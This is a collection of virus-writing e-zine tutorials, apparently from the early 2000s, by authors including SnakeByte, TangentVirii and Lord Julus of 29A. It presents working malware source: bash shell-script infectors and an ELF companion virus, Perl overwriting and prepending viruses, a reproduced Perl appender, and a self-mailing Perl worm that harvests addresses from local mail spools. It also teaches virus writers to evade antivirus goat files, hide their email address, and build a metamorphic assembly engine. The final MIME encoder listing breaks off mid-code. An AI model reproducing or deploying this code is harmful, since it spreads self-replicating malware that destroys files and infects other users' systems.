virii to mail you? DO I NEED IT? You r not gonna need nothing of this if you uses a secure mail server, because of this way you haven't to worry about cops going to you. If you give your mail to ppl in virus ezines, as 29a members do, and you sign your virus with your handle, it's useless to try to hide your mail because cops know it. This info is only useful if you need to hide your mail address but you want virus emailing you. Else, you can read it anyway, because it can be useful for you in the future. And if you think is very dangerous to put your email address in a virii, this article is for you. EUREKA. See the following C code: switch(rand()%4){ case 0: sendMailToMe(text,"stupidmailer@yahoo.com"); break; case 1: sendMailToMe(text,"idioticmailer@hotmail.com"); break; case 2: sendMailToMe(text,"joe@otherserver.com"); break; case 3: sendMailToMe(text,"billgates@microsoft.com"); break; } What do you think can happen with this code? If somebody tries to trap you he have to investigate four persons, including Bill Gates!!! Can you imagine Bill going in jail because of you? :) One problem with this code is that you'll only receive one of four mails but... do you need all of them? Think your virus can infect thousands of computers, it can be a lot!!! And if you make a virus send as much random mails as posible, you can ever receive lots of mails. But four mails aren't enough. You have to add more addresses so AVers and cops can't figure which is the yours. What about combining them? For example: switch(rand()%4){ case 0: person="joe"; break; case 1: person="john"; break; case 2: person="billgates"; break; case 3: person="virusauthor"; break; }

switch(rand()%4){ case 0: wsprintf(emailaddress,"%s@yahoo.com",person); break; case 1: wsprintf(emailaddress,"%s@hotmail.com",person); break; case 2: wsprintf(emailaddress,"%s@29a.org",person); break; case 3: wsprintf(emailaddress,"%s@microsoft.com",person); break; } sendMailToMe(text,emailaddress); Oh!, now you have 4*4= 16 different mails!!! Do you catch the idea? Using the same system you can create tons of mail addresses on the fly. If you can do it real, so almost all the email addresses exist, you can spoof cops a lot!!! However, 16 isn't enough... you have to create more and more email addresses. A system can be: char user[5]={0,0,0,0,0}; char buffer[]="johnearbilljaneeditotpartgoalredh" memcpy(user,buffer+(rand()%30),4); switch(rand()%4){ case 0: wsprintf(emailaddress,"%s@yahoo.com",user); break; case 1: wsprintf(emailaddress,"%s@hotmail.com",user); break; case 2: wsprintf(emailaddress,"%s@29a.org",user); break; case 3: wsprintf(emailaddress,"%s@microsoft.com",user); break; } See some of the email addresses generated by this code: john@29a.org need@microsoft.com bill@yahoo.com llja@hotmail.com goal@yahoo.com They are 30*4=120 different email addresses, all of 4 chars followed by the server name. Most of them are sure registered, and some not. You can register one of the inexistent ones, and bingo!!! And, of course, only increasing the buffer array size, you can increment the email addresses. Better, if you change all rand by a time routine, what do you think can happen? You can calculate all so some day all mails are redirected to you, else they go elsewhere, and AVers couldn't figure what's your real mail!!!

OTHER USES. If you are programming a virus that will flood a site, or something of this way, you can use that system to hide the server address, and a random day, BOOM!!! BYE. Ok, enough for today. I have other things to do. :) Any questions, email me. Also, if you have interesting ideas about ALIFE and viruses, mail me, I want to hear them. TangentVirii. tangentvirii@privacyx.com

Win32 Bait Detection by SnakeByte [ SnakeByte@kryptocrew.de ]

After writing my first polymorphic win32 virus, i noticed that my only check for baits consisted in checking for the size, so i decided to see what else we can check in win32 environment to see if we got a goat file. ( For those who don't know, a goat or bait file is a file the AV'ers use to detect all possible combinations of a polymorphic virus ) When I list some ideas on defeating goats here, i don't say "use them all !" Better is, you use two or three of them in your virus, because otherwise the virus might be overblown with anti goat tricks, and will not find any real file he wants to infect, because every one of these checks will also have false negatives and false positives.. 1.) 2.) 3.) 4.) 5.) 6.) 7.) 8.) Size Imported API's Used DLL's Data Size Code Size Ressources Repeating Stuff Misc

1.) Size Of course, this is the most simple thing we can check for. In win32 environment, the size of a file should be at least 30 or 40 KB. I got on my harddrive just 2 dozen of files which are smaller than 40 KB, and these are mainly my own asm projects or those "hax0r" tools delivered with various mIRC Scripts. If they generate just 10000 goats, with more than 40 KB, they need 390 MB, not much when you take a look at nowaday harddrives, but it will cost them some time to generate them ;)

2.) Imported API'S When I took a look at the PE Example delivered with RoseGoat, I noticed that the file has just 2 imported API's : MessageBoxA and ExitProcess. A normal file with some windows has around 20 imported API's, if you add some extra stuff, there are around 30. You should check if the file imports at least 30 API's, if not it is a bait. Just look up the number of imported API's on the Import Table

3.) Used DLL's Ok, a file uses at least the imports of one DLL : Kernel32.dll *g* But when you take a look at some others, you see, that they use 5 or more DLL's. Except for those Visual Basic generated Files, they often just use the VB40032.dll or one of those other runtimes, if the author is bad and does not also use the Kernel32.dll API's. So check if there are less than 5 DLL's used, if one of those starts with VB, then it is normally no goat, but a badly coded VB Programm.

4.) Data Size Check for the size of initialized Data in the Optional Header. The Rose Bait has

here just 1500 Bytes, a typical program, wheter VB or not, around 12000 Bytes ! So we can take this as another identifier for baits. Look for this value at offset 20h of the PE Header, which could be easily done ;)

5.) Code Size We should also check the "Size of Code Section" in the optional Header, a bait just has a low value here ( sure, it has not much code ;) ) but a normal file has 5000 and more. This value can be found at offset 2Ch of the PE Header, so it is easy to check too.

6.) Ressources Every normal file uses Ressources, like Pictures, Icons and such things. If we find none, we should not infect the file, because just a gout file has no icon ;) To check this we need to locate the .rdata Sektion and check for it's size inside the section table. I think 800h Bytes is a minimum for a normal file ( thats about 1 Icon )

7.) Repeating Stuff When a goat file generator generates baits, they often have exactly the same size, so check if the current file has the same size as the last one, if this is the cause, then don't infect it. Filenames might also follow a pattern, when generated with a generator. This is the same as in DOS, they either have names like Goat0001.exe, Goat0002.exe.. or 0001Goat.exe, 0002Goat.exe.. I would say the best method to avoid such files is to check the first and the last digit of the filename ( without extension ). If they are equal or just differ in one Bit, then they should not be infected. But some goat generators are able to generate baits with different sizes and random filenames, what to do against them ? One thing which will repeat, are the first bytes of the code, because they just change the size and data. But checking for this would be really hard, because a lot of high level compilers have several routines, which get started before the programmers stuff get executed. If you store the first 100 Bytes in Memory, you would also detect HLL Programs as baits. So my solution is to read 2000-3000 Bytes of the code section and generate a checksum over this part, then you don't need to store a lot of data ( But make sure the CRC is a fast one *g* )

8.) Misc Some might say, all these anti goat tricks are useless, because the AV'er will just NOP them out or write his own replication routine for the virus, which will not have these tricks, but the same poly engine. Sure, this would be bad for us, but what if we generate a checksum over the entire virus code and use it as a main basis number for the random number generator ? Then the AV'er has to fear, that his routine ( or the virus with nopped out tricks ) will generate other variants like your virus and his scanengine might miss some of your viruses. So just choose some of these tricks, they don't need that many bytes and i think they will be an effort for your virus.

Linux Shell Script Viren by SnakeByte [ SnakeByte@kryptocrew.de ] www.kryptocrew.de/snakebyte

Nowadays as Linux becomes more and more popular, every linux user starts telling me that there are no viruses for his loved os. After a long discussion most of them believe me, that it is possible to write a virus for Linux, but its harder for them to spread, because Linux takes more care of acess rights than Dos or Windows ( there are none *g* ) Ok, there are ELF Infectors out, which carry exploits to gain root, but here I want to talk about more simple viruses, which could also be able to spread, once there are more lamers using Linux ( and at the moment their number grows ) My opinion is, that Viruses will also be a problem for Linux in the future, because there is more and more commercialism and with commercial products come a lot of unexperienced users which do not know how to keep their system clean. Another reason why I deal with Shell Script Viruses here is, that the bash shell script is running on most systems and so we don't have to fear incompatibility. ( I don't know how far the scripts presented here are compatible to C or another shell, if anyone tests this, please let me know ;) ) Shell Scripts are like batch files in the good old days of dos, or like VBScript in Windows. They allow the programmer to make routine jobs more easier and faster. The Scripts get interpreted by the shell and are very powerful. Contrary to DOS, you will find a lot of shell scripts when taking a look at Linux. Shell Scripts are for example : /etc/profile, /etc/csh.cshcshrc. some files in /etc/rc.d, files to configure the firewall and many more. For all Linux Newbies : 'vi' is an editor you could use to write these simple scripts ( and don't believe anyone who tells you, that emacs or joe are better *g* ). Use 'chmod <file> +rwxrwxrwx' to make everyone able to read, write and execute the file. To start the script, you simply have to type the filename. ( On some systems you need to place a ./ in front of the filename because the current directory is not inside the path value ) We saw that a shell script virus has a whole potential of possible victims. Let's take a look at the most simple form of a shell script virus : #Overwritter I for file in * do cp $0 $file done This, just a few lines long script, copies itself over every file in the current directory. Of course, this methos of infecting comes with a lot of damage and should be found very fast, so we need to make everything a bit more tricky. #Overwritter II

for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then cp $0 $file fi; fi; fi; fi; fi done rm .mmm -f Here we included some additional checks for the file we want to infect. First, we check if it is a file at all. Then if it is executable and if we got write access. If the file passed all checks, we search the file for the echo command, which is part of most Shell Scripts ( displays something on the screen ) ( Because we did not get all scripts this way, we could also do a : if file $file | grep -s 'Bourne shell script' > /dev/nul ; then ) Because a shell script does not longer work, after being overwritten, we should think of another infection method. The following code is a prepender i wrote nearly 2 years ago to see if it can be done : # COCO head -n 24 $0 > .test for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then head -n 1 $file >.mm if grep -s COCO .mm >.mmm then rm .mm -f else cat $file > .SAVEE cat .test > $file cat .SAVEE >> $file fi; fi; fi; fi; fi done rm .test .SAVEE .mmm .mm -f The # COCO is our infection mark, to see if a file is already infected. ( we check this with if grep -s COCO .mm > .mmm ) After this we have the old checks if the file is a good victim. If the file is ok and not infected yet, we copy it into another, hidden file ( .SAVEE ). Now we replace the original file with the first 24 Lines of our shell script file, which is exactly the virus. ( we save them in .test bevore ) Now we just append the original file to the virus. ( cat .SAVEE >> $file ) Last but not least, we delete every file we created during the infection. Now we can start optimizing. This can be done with two goals : One is to reduce the number of lines,

the other on is to reduce the number of temporary files we use. The next code is ( or is nearly, because i lost the original ) the optimized version of COCO, which Antraxx optimized for me some time ago. # COCO ( 2 ? ) for file in * ; do if test -f $file && test -x $file && test -w $file ; then if grep -s echo $file > /dev/nul ; then head -n 1 $file >.mm if grep -s COCO .mm > /dev/nul ; then rm .mm -f ; else cat $file > .SAVEE head -n 13 $0 > $file cat .SAVEE >> $file fi; fi; fi done rm .SAVEE .mm -f Now we just need 2 temporary files and 13 lines of code. Of course could be stick all lines together into one by seperating them with a ; , but this would be unreadable so I will not do this here. What else does a virus need to be effective ? He should not just infect the current directory, but should parse others for victims. ( /etc, /bin, /sbin.. ) In this example we save the current directory first, which is stored in the variable $path. Then we search the root directory for other directories. If we found one, we change into it and search for shell script files. We infect them with the old method and change to root directory afterwards. At the end we return to the original directory and remove the files we created. # COCO 3 xtemp=$pwd head -n 22 $0 > /.test for dir in /* ; do if test -d $dir ; then cd $dir for file in * ; do if test -f $file && test -x $file && test -w $file ; then if grep -s echo $file > /dev/nul ; then head -n 1 $file > .mm if grep -s COCO .mm > /dev/nul ; then rm .mm -f ; else cat $file > /.SAVEE cat /.test > $file cat /.SAVEE >> $file fi; fi; fi done cd .. fi done cd $xtemp rm /.test /.SAVEE .mm -f Not bad for something simple like a shell script, or ? Of course could we also search for specific directorys and add a payload ( Message, expand passwd, ping-flood a host, download a backdoor with ftp, etc.. ), but in this tutorial i will not cover such things. I think it is also possible to use sendmail or any other mail program to send the script around via mail, but as long most people use windows, this

would not be very effective. To make this file complete, here is a ELF Compagnion Virus : # Compagnion for file in * ; do if test -f $file && test -x $file && test -w $file ; then if file $file | grep -s 'ELF' > /dev/nul ; then mv $file .$file head -n 9 $0 > $file fi; fi done .$0

Perl Viruses by SnakeByte [ SnakeByte@kryptocrew.de ] www.kryptocrew.de/snakebyte

Due to the fact, that I have to learn perl for a job, I decided to write a virus in this language. Until this morning I haven't found a perl virus source on the web, so I decided to write a little paper about perl viruses. This tutorial has the same structure like my tutorial about Linux Shell Script Viruses and so I am sure, that also perl newbies ( like me ;) ) will understand it. At the moment I did not have a look at the perl virus I found, because I want to try to produce my own. ( Just finished a totally lame overwritter, but decided to start typing this, because I want the reader to follow my steps ). All code you will see here is tested on a SuSe 7.0 Linux with Perl 5.0005_3 and worked well. I try to make it compatible to other OS'es but can't guarantee this. Ok, let's start with the Overwritter I talked about. First the source and then I will explain what it does. #!/usr/bin/perl open(File,$0); @Virus=<File>; close(File); foreach $FileName (<*>) { open(File, ">$FileName"); print File @Virus; close (File); } The first line is a comment ( marked with an # ). It is a nearly standart, that every perl file contains the path and file of the perl interpreter in the first line. On the second line, we open ourselves. The filename of the running script is stored in $0. Then in the third line, we pass the content of our file into the array @Virus. Now, every Value of the Array ( @Virus[1], @Virus[2] ... ) contains one line of our file. Because this is all we want to do with our own file, we close it. Then we start a loop to search for files. We pass this loop for all files in the current directory (<*>) and pass their name to $FileName. We open the file for write access ( shown by the > bevore the filename ) and simply print our virus over the old file. ( if we would want to append instead of overwriting the file, we would use a >>filename instead ). Ok, the file is replaced by the virus, so lets get the next one and do the same... I think this little code snippet should be very clear now ;) Lets make it a bit better, so we will not overwrite every file, but just perl files. #!/usr/bin/perl open(File,$0); @Virus=<File>; close(File); foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;

close (File); } } } The first few lines are known from the previous example. Then follows a huge :) if-construction. Let's see what it does. It filters out all files, which we are able to read ( -r ) to write to ( -w ) and which are files at all and no directorys ( -f ). Each one of these criterias must be fulfilled, because we appended them together with an && which is a logical AND. Then we open the file for read access. ( You see, no > bevore the filename ). We load the entire file to $Temp and close it. Then we check the first ( @Temp[0] ) and the second line ( @Temp[1] ) for the word "perl" ( cases are not ignored, but till now I found no case ignoring comparison method for strings, but I go on looking *g* ), to check if we got a perl file. The rest is like in the example before. Here two things we could additionally do to check the files. The one is to see if they are executable ( if (-x $FileName ) ), but since I think that we cannot check this in windows environment, and that there are people like me, which start their perl files with the interpreter and not setting the executable flag on the files, I won't do it. The other check we could do is with the linux command 'file' to see if a file is a perl script. But this wouldn't work in windows too, so i will not do this here. Ok, i think this made the basics understandable. Now, forget this shitty overwriting stuff and start doing something more serious - prepending : #!/usr/bin/perl #PerlDemo open(File,$0); @Virus=<File>; @Virus=@Virus[0...27]; close(File);

# NEW

# NEW

foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; # NEW close (File); } } } }

# NEW

This time I marked the new lines, because not much changed. The first change is that we get just the 24 first lines of the currently running ( infected ) file. This is because, we would also prepend the original file to the one we infect. The second change is that we add the original file to the virus, when infecting. So the new file will start with the virus, then an empty line and then the

old file, starting with the #!/usr/bin/perl or whatever ;) The new check for "PerlDemo" is to see if the file has already been infected by us. Normally I would start to see what can be optimized, but here we can't do much, except trashing the lines together as far as I see : #!/usr/bin/perl #PerlDemo open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; foreach $FileName (<*>) { if ((-r $FileName) && (-w open(File, "$FileName"); @Temp=<File>; close(File); (@Temp[2] =~ "PerlDemo")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) @Virus; print File @Temp; close (File); } } } }

close(File); $FileName) && (-f $FileName)) { if ((@Temp[1] =~ "PerlDemo") or { open(File, ">$FileName"); print File

So this saves us just some carriage returns and is not really cool :P Let's add some more cool features to our virus like directory travelling. We will first take a look at downward traveling : #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=<File>; @Virus=@Virus[0...24]; close(File); &InfectFile; chdir('..'); &InfectFile; # NEW # NEW # NEW

sub InfectFile { # NEW foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}}

# NEW

What have we done ? The first change that you will mention is, that we placed the file-search and infection routine into a sub procedure, which we call two times from the main program. Another change is the chdir('..') which will let us get one directory down. This sould work fine on Unix/Linux and DOS/Windows Systems, but will cause Errors on MacOS, because MacOS uses '::' to get one directory down. Sad bud true, perl is not as portable as we want it to :P Another change is inside the check for the file. (@Temp[1] =~ "perl",,i) The ,,i meand that we search for the string perl and ignore the upper and lowercases, so we will also find perl files starting with #C:\Programme\Perl\Perl.exe. A, let's call it bug in this virus is, that we don't restore the old directory. This is another problem caused by the incompatibility of the different OS. In Unix/Linux, we can simply get the current path by doing a $CurPath=`pwd`; But this would not work on Win or MacOS. Luckily we can get the OS under which we are running,

with the $^O Variable, which exists since Perl 5.0002. The following code will see if we are in Dos, Windows, Linux, BSD or a Solaris machine. #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=<File>; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd` } if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } $DotDot = '..'; if ($^O =~ "MacOS") { $DotDot = "::" } chdir($DotDot); &InfectFile; chdir($OldDir); sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Ok, if the OS is bsd, linux or solaris, we retrieve the current path with the pwd command, which is a normal shell command to retrieve the current path. In windows we just do this with cd, which is normally used to change directorys but can be used to get the path as well. Then we set the two dots to '..' like they are used in nearly every OS, except MacOS, so we change them to '::' if we are running on a Mac. Maybe it would be a better solution to make two checks, one for MacOS, and set the Dots, one for Dos, Windows and OS/2 to use cd to retrieve the path and for everything left, we use the two dots and pwd to retrieve the path, because there are many more Unix and BSD Versions, to which perl is ported and they all have the pwd command. If we would want to travel upwards, we have the same problem, that the different operating systems have different ways to tell us their root directory. Linux has just one /, Windows and Dos have one for every Disk A:, B:, C: ... and as far as I know has the Mac none at all.. With the next source I will try to handle all these problems : #!/usr/bin/perl # Perl - Get'em'all Virus open(File,$0); @Virus=<File>; @Virus=@Virus[0...46]; close(File);

# # # # #

NEW NEW NEW NEW NEW

# NEW

&InfectFile; if ($^0 =~ "MacOS") { chdir('::'); &InfectFile; } else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd`; chdir('..'); &InfectFile; chdir('C:\'); &SearchUpperDirectorys; chdir($OldDir);} else { $OldDir = `pwd`; chdir("/"); &SearchUpperDirectorys; chdir($OldDir);}} sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} sub SearchUpperDirectorys { foreach $Directory (<*>) { if ((-r $Directory) && (-w &Directory ) && (-d $Directory) { chdir ($Directory); &InfectFile; chdir ('..') }}} Ok, if we are in MacOS, we just infect the lower directory. If we are in DOS or Windows environment, we infect the folder below and start to search for others at C:\. Afterwards we restore the old directory. On every other OS, we search from the root directory for others. Afterwards we restore the original one. Wow, first of all I wanted to start parsing the Path variables which contains all directorys which will be searched when you want to start an executable, but with all these incompatility problems... maybe later. Now I want to have a look at the virus I talked about before, which I found on the web. AVP detects this thing as Perl.spoon and it is created by PaddingX. I just hope it is ok for him, if I present his source here, but I don't know where to reach him to ask him. So if you read this and want me to remove this part, just tell me ! I added some comments so you will understand the code. These comments are marked with an 'S' #!/usr/bin/perl use File::Find; perl installations

#S he uses a module to find files, it's included all standart

&virus();

#S calling of the sub Virus #S after Virus Sub is executed we see a little payload ( just

in dropper ! ) print "\nThis program is infected by the Perl virus\n\n"; sub virus #S start of the virus part { my ( $pid, $new ); #S define local variables if( $pid = fork ) { return; } else { open( source, $0 ); #S open Virus File finddepth ( \&infect, '/home/chris/test' ); #S '/home/chris/test' is the path where files should be infected sub infect { open target, "$File::Find::name"; #S open the file we want to infect $_ = <target>; #S read it into a string if ( /(\#!.*perl)/ ) #S check if we got a #! xxxx perl in the first line --> check if it is a perl file { $_ = <target>; #S read the second line if( $_ ne "use File::Find;\n" ) #S if it uses the File::Find module it will not be infected --> infection mark { $new = $1 . "\nuse File::Find;\n&virus();\n" . $_; #S Write first two lines of the virus into $NEW while( <target> ) { $new = $new . $_; } #S Write the file we infect into $NEW seek( source, 0, 0 ); while( <source> ne "sub virus\n" ) { }; #S read our file until we find the virus procedure $new = $new . "\nsub virus\n"; #S write 'sub virus' into $NEW while( <source> ) { $new = $new . $_; } #S append the rest of the virus to $NEW close target; #S close the file we infect open target, ">$File::Find::name"; #S open it again for writing print target $new; #S write $new into the file } } close( target ); #S close file we infected } close( source ); #S close virus file exit( 0 ); #S exit program } } # a Perl virus, by paddingx # 08/15/1999

Ok, as we see, this virus is an appender. It writes a call to the virus at the start and appends the rest to the file. This is like the old com infection appending in dos. ;) The infected file will look like this : [ Stub : #!/usr/bin/perl use File::Find; &virus(); ] [... Original File ... ] [ .. virus procedure ..]

Even if it will just run on Unix'es ( because of the path and because fork is not implemented on Mac OS, Win32, AmigaOS and RISC OS ) it is still a nice piece of code, because I think it would be possible to use EPO techniques with this kind of infection, by searching for a call (&Procedure) and change it to the virus and place a call to the original procedure at the end of the virus... Ok, here comes a last piece of code, just to show another simple thing you can do with perl, because everyone says that Selfmailing Worms are something which can just be done with windows script languages. This is a selfmailing Perl worm, which uses sendmail and assumes, that the mails are in the /var/spool/mail/ directory. Maybe one of those, who know more about linux than I do, might want to modify it, to retrieve the mail folder from sendmail.cf ;) #!/usr/bin/perl open(File,$0); @Virus=<File>; @Virus=@Virus[0...29]; close(File); foreach $FileName (</var/spool/mail/*>) { if ((-r $FileName) && (-f $FileName)) { open(File, "$FileName"); @test1=<File>; close(File); @ReceiverList = grep /From:/, @test1; foreach $Receiver2 (@ReceiverList){ @Receiver = split(/:/, $Receiver2); @Addy = split(/</, @Receiver[1]); open(File,">PerlWurm"); print File "Hi@Addy[0]\n"; print File "take a look at this perl script\nand see what is possible to do\nin perl.. \n"; print File " cu soon\n\n\n"; print File @Virus; print File ".\n"; close(File); chomp(@Addy[1]); chop(@Addy[1]); $x = `sendmail @Addy[1] < PerlWurm`; }}} Hope you enjoyed this little trip into the world of perl. I did. ;)

comment % Lord Julus' Metamorphism Demo This is the very first version of a metamorphism demo. This code is quite simple and very straightforward. It is merely a demo for the beginners in metamorphism. This engine can be used to metamorphize instructions like: mov [mem], ??? mov ???, [mem] It requires multiple places for the mem (the addresses), multiple instructions to obtain the action (the instructions). This demo will metamorphize this: mov [ebp+xxxxxxxx], eax into different instructions and then call it, provided that eax must not be preserved. Run it under a debugger and see how it works by single stepping through the Call instr1 instructions. If you understand the process, with very few modifications you can use this to also metamorphize instructions like: <op> <reg>, <reg> <op> <mem>, <reg> <op> <reg>, <imm>, and so on... This engine can be used on multiple instructions. It will only metamorphize one at a time as EAX will hold the hunk number. A good way to use this is to metamorphize an instruction like this: mov eax, [ebp+OldAddressOfEntryPoint] so that the retrival of the old entrypoint is never the same. Anyhow, this requires you to manually fill the right variable. If you are ever to use this technique of metamorphization, be sure to spread inside your code the variables and addresses as explained below. This will make quite a difference... All the best, ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Lord Julus / 29A ³ ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÙ % .586p .model flat, stdcall jumps extrn ExitProcess: proc extrn GetTickCount: proc .data db 0

.code start: xor ebp, ebp mov eax, 11111111h call instr1 mov eax, 0 call LJ_Metamorphize mov eax, 22222222h call instr1 mov eax, 0 call LJ_Metamorphize mov eax, 33333333h call instr1 mov eax, 0 call LJ_Metamorphize mov eax, 44444444h call instr1 push 0 call ExitProcess ; ; ; assume virus model ;-) ; ; ;do original instruction ; ;metamorphize instr 0 ; ; ;run it! ; ;metamorphize again ; ; ;run it! ; ;metamorphize again ; ; ;run it! ; ; ;

; This is the main jump towards the matamorphized instruction ; - it can point to a series of jumps as presented in the Madness Jump Table ; idea (not implemented here) instr1: jmp var1_instr_1 db 10 dup (0) ; Here are the instruction sets that can be executed in order to do the ; action. These also should be spread into the code var1_instr_1: mov [ebp+var1_1], eax nop ret var1_instr_2: push eax pop [ebp+var1_1] nop ret var1_instr_3: xchg [ebp+var1_1], eax nop ret ;variant 1 ; ; ; ; ;variant 2 ; ; ; ; ; ;variant 3 ; ; ;

; These are the possible ways to keep the value. They should be spread inside ; the code as separated as possible var1_1 dd 0 ; address 1 var1_2 dd 0 ; address 2 var1_3 dd 0 ; address 3 ; - Metamorphizer LJ_Metamorphize:

; Entry: EAX = hunk number (starting with 0!) pusha call call call call popa ret choosen_address dd 0 choosen_instruction dd 0 choosen_bit dd 0 ChooseAddress: push eax lea esi, [ebp+AddressTable] mov ecx, eax or ecx, ecx jz found_addresses find_addresses: lodsd add esi, eax loop find_addresses found_addresses: lodsd call brandom32 mov eax, [esi+eax*4] mov [ebp+choosen_address], eax pop eax ret ChooseInstruction: push eax lea esi, [ebp+InstructionTable] mov ecx, eax or ecx, ecx jz found_instructions find_instructions: lodsd add esi, eax loop find_instructions found_instructions: lodsd call brandom32 mov ebx, [esi+eax*2*4] mov [ebp+choosen_instruction], ebx mov ebx, [esi+eax*2*4+4] mov [ebp+choosen_bit], ebx pop eax ret FillPlace: push eax mov eax, [ebp+choosen_address] mov ebx, [ebp+choosen_instruction] add ebx, ebp ChooseAddress ChooseInstruction FillPlace FillJump

; ; ; ; ;choose address to use ;choose instruction to use ;fill the address ;fill the jump to it ; ; ; ; ;holds the address ;holds the instruction ;the bit to address ; ; ; ;point address tables ; ; ; ; ; ; ; ; ; ; ;how many? ;get a random one ; ;save address ; ; ; ; ; ;point instructions ; ; ; ; ; ; ; ; ; ; ;how many? ;get a random one ; ;save it, and ; ;the bit ; ; ; ; ; ;take the address ;go to the instruction ;

add ebx, [ebp+choosen_bit] mov [ebx], eax pop eax ret FillJump: push eax lea esi, [ebp+Jumps] add esi, eax lodsd mov ebx, [ebp+choosen_instruction] sub ebx, eax add eax, ebp sub ebx, 2 mov [eax+1], ebx pop eax ret

AddressTable: Ahunk1: dd dd dd dd 3 offset var1_1 offset var1_2 offset var1_3

InstructionTable: Ihunk1: dd 3 dd offset var1_instr_1 dd 2 dd offset var1_instr_2 dd 3 dd offset var1_instr_3 dd 2 Jumps: Jhunk1: dd offset instr1 ;---------------------brandom32 proc push edx push ecx mov edx, 0 push eax call random32 pop ecx div ecx xchg eax, edx pop ecx pop edx ret brandom32 endp random32 proc push edx call GetTickCount rcl eax, 2 add eax, 12345678h random_seed = dword ptr $-4

;to the right bit ;and fill the address ; ; ; ; ; ;locate the jump ; ; ; ;get the offset of the ;instruction ; ;calculate jump length ;create jump! ; ; ; ; ; ; ; ;length of hunk ;addresses ; ; ; ; ; ;length of hunk ;first instruction ;at what bit offset? ; ; ; ; ; ; ; ;jump address ; ; ;this bounds eax ;between 0 and eax-1 ;on random basis ; ; ; ; ; ; ; ; ; ; ; ;this is a random nr ;generator. It's a ;modified version of ;some random gen I found ;someday and it had ;some flaws I fixed...

adc eax, esp xor eax, ecx xor [ebp+random_seed], eax add eax, [esp-8] rcl eax, 1 pop edx ret random32 endp end start end

; ; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ;

Win32 386+ Random-Number-In-Range Generator. Most Win32 random number generators I've come across so far were actually rather predictable, so here goes my attempt to code a truely random one. It's small, simple and reasonably fast.

.386 .MODEL EXTRN EXTRN

FLAT

GetTickCount:PROC ExitProcess:PROC .DATA

Random_Seed

DD .CODE

0

START: CALL MOV MOV CALL PUSH CALL GetTickCount Random_Seed, EAX EAX, 10 Random_EAX 0 ExitProcess ; Initialize random seed. ; This can be anything. ; Returns a random value ; between 0 and 9.

; Entry: EAX == Max_Val. ; Return: EAX == Random number between 0..Max_Val-1. Random_EAX: PUSH ECX ; Save registers that get PUSH EDX ; changed. PUSH CALL MOV ADD EAX GetTickCount ECX, Random_Seed EAX, ECX ; Save Max_Val. ; Get random value. ; Get random seed. ; Adjust random value with ; random seed. ; Adjust random seed.

ROL ADD MOV

ECX, 1 ECX, 666h Random_Seed, ECX

; Perform CRC-32 on semi-random number ; to obtain a truely random number. PUSH POP CRC_Bit: SHR JNC XOR Loop_CRC_Bit: LOOP POP 32 ECX EAX, 1 Loop_CRC_Bit EAX, 0EDB88320h CRC_Bit ECX ; Do all 32 bits. ; ECX = Max_Val. ; Bit is set?

XOR DIV XCHG

EDX, EDX ECX EDX, EAX

; Divide truely random value ; by Max_Val. ; Remainder is the ; random-in-range number. ; Test for zero.

OR POP POP RETN END

EAX, EAX EDX ECX

START

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MIME.ASM]ÄÄÄ ; MIME attachment encoder. .386 FLAT .DATA ExitProcess:PROC CreateFileA:PROC CloseHandle:PROC ReadFile:PROC WriteFile:PROC GetFileSize:PROC EQU EQU EQU EQU EQU 00000003h 00000002h 00000080h 80000000h 40000000h

.MODEL

EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN

OPEN_EXISTING CREATE_ALWAYS FILE_ATTRIBUTE_NORMAL GENERIC_READ GENERIC_WRITE START: XOR

EBX, EBX

PUSH PUSH

@1:

PUSH EBX FILE_ATTRIBUTE_NORMAL OPEN_EXISTING PUSH EBX PUSH EBX PUSH GENERIC_READ CALL @1 DB 'INPUT.BIN', 0 CALL CreateFileA MOV [Input_Handle], EAX

; Binary you want to encode.

PUSH

@2:

